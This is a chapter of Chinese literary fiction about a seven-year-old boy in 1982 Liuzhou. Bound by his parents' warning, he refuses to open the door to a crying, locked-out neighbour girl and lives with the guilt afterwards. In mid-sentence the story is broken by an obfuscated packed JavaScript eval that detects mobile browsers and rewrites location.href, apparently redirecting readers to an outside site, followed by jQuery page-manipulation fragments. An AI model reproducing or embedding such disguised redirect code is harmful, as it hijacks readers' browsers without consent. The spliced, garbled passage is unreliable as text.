美好的日子，薄得像糖纸，看着光亮，一戳就破。
一九八二年的腊月，离过年已经没几天了。那年柳州的冬天，冷得不讲道理。不是北方那种干爽的、能被厚棉袄结结实实挡在外头的冷，而是南方的湿冷。冷气里饱含着水汽，沉甸甸的，像一张浸透了冰水的巨大纱布，从天上罩下来，裹住整座城市，往每一道墙缝、每一扇窗户、每一个人的骨头缝里钻。空气吸进肺里，都带着一股铁锈般的腥气，那是从柳江和无数阴沟渠塘里蒸腾起来的、属于水乡冬天的特有气味。
筒子楼的穿堂风，在这样的天气里成了酷刑。它呼啸着从楼道这头灌到那头，搜刮走人们屋里好不容易攒起的一点暖气，顺便把外面所有的严寒都打包捎进来，加倍奉还。家家户户的门都关得死紧，门缝里塞着旧布条。
那天是周末，但父母都还要去厂里加班，抢年底的任务。陈实一个人在家。午饭是母亲上班前留在锅里的酱油拌饭，就着一点咸菜吃完了。
下午，他趴在窗台上看了一会儿楼下，空地上一个人也没有，连平时总在墙根晒太阳的野猫都不见了踪影。风把枯叶和废纸卷起来，打着旋儿，又狠狠摔在墙上。
实在太冷，他缩回屋里，把被子披在身上，继续看那本翻得卷了边的小人书。
阿妹上午来过一趟，在门口站了一会儿，小声问：“陈实哥哥，出去玩吗？”陈实从被子里探出头，看到楼道里惨白的光和她冻得发红的小鼻子，摇摇头：“太冷了，不去。”阿妹“哦”了一声，有些失望，但还是说：“那我在家。”便转身回了西头自己家。
傍晚时分，天阴沉得像一口倒扣的黑锅，开始飘起雨夹雪。柳州很少下雪，这雪落到地上，立刻就成了冰冷的、肮脏的泥水。风更大了，吹得窗户玻璃哐哐作响，仿佛有看不见的巨人在外面推搡。
陈实早早把蜂窝煤炉子捅开，坐上水壶，屋里勉强有了一丝热气。他正就着炉火的光看课本，忽然，一阵急促的、带着哭腔的拍门声响起。
“陈实哥哥！陈实哥哥！开门啊！”
是阿妹的声音，从未有过的惊慌和尖利。
陈实心里一紧，跳起来跑到门边。隔着门板，阿妹的哭声和拍门声更加清晰，还夹杂着牙齿打颤的“咯咯”声。“开门……开开门……我进不去了……妈妈不在……好冷……”
陈实的手已经搭在了门闩上，冰凉的铁闩激得他一哆嗦。就在他要拉开门闩的前一秒，父母的叮嘱像一道冰冷的闪电，骤然劈进他的脑海：
“记住，晚上一个人在家，谁敲门都不准开！特别是邻居家那个阿妹，她爸妈最近闹得厉害，你别掺和进去，听见没？关系太近了容易出事！”
这话父母说过不止一次，语气严肃，甚至有些严厉。尤其是最近，西头文娟家总传来摔东西和吵架的声音，父母谈论时总是压低声音，摇头叹气，然后更加郑重地警告陈实。
“关系太近容易出事”——七岁的陈实实在不明白，“太近了”会出什么事，但他从父母紧绷的脸上读出了这件事的严重性，那是一种必须遵守的、关乎“规矩”和“麻烦”的禁令。
他的手僵在门闩上。
门外，阿妹的哭声更大了，混合着恐惧和寒冷带来的剧烈颤抖：“陈实哥哥……求求你……开门……我好怕……外面好黑……好冷啊……”
她一边哭，一边更用力地拍打着单薄的木门，那声音在空旷、寒冷的楼道里被放大，回荡，显得异常凄惶无助。
陈实的心像被一只冰冷的手死死攥住，然后又扔进滚油里煎。
他听得见她的绝望，想象得到她一个人站在漆黑冰冷的楼道里，面对紧闭的家门和无边黑暗的恐惧。
他想开门，那股冲动像火一样烧灼着他的胸口。
他甚至能透过门缝，闻到一丝她身上熟悉的、淡淡的儿童面霜的味道，此刻却混进了湿冷和泪水的咸涩。
可是，父母严厉的脸，那句“不准开”，还有对“出事”的模糊恐惧，像更坚硬的冰壳，把他牢牢冻在原地。
他的手开始发抖，指尖因为用力而发白，却怎么也拉不动那根小小的、此刻却重如千斤的铁门闩。
“你……你回家去等……”他听到自己的声音从喉咙里挤出来，干涩、微弱，带着自己也厌恶的颤抖，“你妈妈……可能快回来了……”
“门锁了……我忘了带钥匙……妈妈不知道去哪了……”阿妹的哭喊变成了断续的、几乎喘不上气的呜咽，“陈实哥哥……让我进去……就一会儿……我冷……”
每一句哭求，都像一根针，扎在陈实心上。他背靠着冰凉的门板，慢慢滑坐下去，蜷缩起来。
门外的哭声，门内炉子上水壶逐渐尖锐的鸣叫，窗外鬼哭狼嚎般的风声，还有自己震耳欲聋的心跳和粗重的呼吸，所有声音混在一起，几乎要将他撕裂。
时间在冰冷的恐惧和煎熬中粘稠地流淌。每一秒都像一个世纪。
不知过了多久，门外的哭声渐渐低了下去，变成了压抑的、断断续续的抽噎。拍门声也停了。只有冷风穿过楼道空洞的呼啸。
“阿妹？”陈实鼓起全部的勇气，对着门缝轻声喊了一句。
没有回答。
他又喊了一声，声音大了点。
依旧只有风声。
一股巨大的、不祥的寒意瞬间攫住了他。
他猛地爬起来，眼睛凑到门缝上，拼命往外看。楼道里只有尽头那盏五瓦灯泡投下的、奄奄一息的昏黄光晕，光影晃动，看不真切。似乎……没有那个小小身影了。
她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313178|198899||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
走了？还是……
陈实不敢想下去。
他想打开门看看，手再次碰到门闩，却像被烫到一样缩了回来。父母的禁令和门外未知的黑暗，依然让他恐惧得无法动弹。
他就这样瘫坐在门后，耳朵死死贴着门板，捕捉着外面任何一丝声响。除了风声，什么也没有。
世界仿佛只剩下他和这座将他困住的、冰冷的房子。
不知又过了多久，也许很久，也许只有几分钟，楼道里传来沉重而急促的脚步声，还有女人带着哭腔的呼唤：“阿妹！文娟！你在哪？！”
是阿妹的妈妈回来了。
陈实的心猛地一沉，随即又揪紧。他听到西头家门被打开的声音，听到阿妹妈妈惊慌的喊叫，听到她快步跑下楼的声音……
然后，一切重新归于风声主导的死寂。
陈实依旧坐在门后，一动不动。
炉子上的水壶早已烧开，蒸汽顶得壶盖噗噗作响，白色的水汽弥漫在屋里，让本就昏暗的灯光更加模糊。他却感觉不到丝毫暖意，只觉得冷，从骨头缝里渗出来的、无法驱散的冷。
那扇薄薄的木门，在他和那个哭喊着求救的小女孩之间，在他童年的暖黄色调与即将到来的无尽灰暗之间，划下了一道冰冷、坚硬、再也无法跨越的鸿沟。
七岁的陈实，在那一刻，亲手（或者说，被迫亲手）关上的，不仅是一扇物理的门。
他关上的，是一段毫无杂质的美好时光，是一种本能的、温暖的信任，是他自己心里某块最柔软、最明亮的地方。
---
那天夜里，阿妹的妈妈在一楼楼梯间的角落找到了她。
她冻得浑身发抖，嘴唇发紫，缩成一团，怀里紧紧抱着那把陈实以前折给她的、皱巴巴的纸飞机。她没敢走远，只是害怕，又不敢再敲门，就蜷在黑暗里，一直等到妈妈回来。
她没有出事，没有生病，没有离开。
她活下来了。
只是从那天之后，她再也没有蹲在陈实家门口。
再也没有跟在他身后。
再也没有塞给他糖。
再也没有用那双亮晶晶的眼睛望着他。
她远远看见他，就低下头，默默走开。
大人都说：
“孩子长大了，懂分寸了，挺好。”
只有陈实知道。
他失去的，不是一个玩伴。
而是那个毫无保留信任他、依赖他、把他当成全世界的小尾巴。
从此，他学会了一件事：
把所有锋利的、危险的、可能伤人的、可能让人失望的，全都转向自己。
递剪刀时那一转，不是习惯。
是赎罪。
是一生都无法愈合的疤。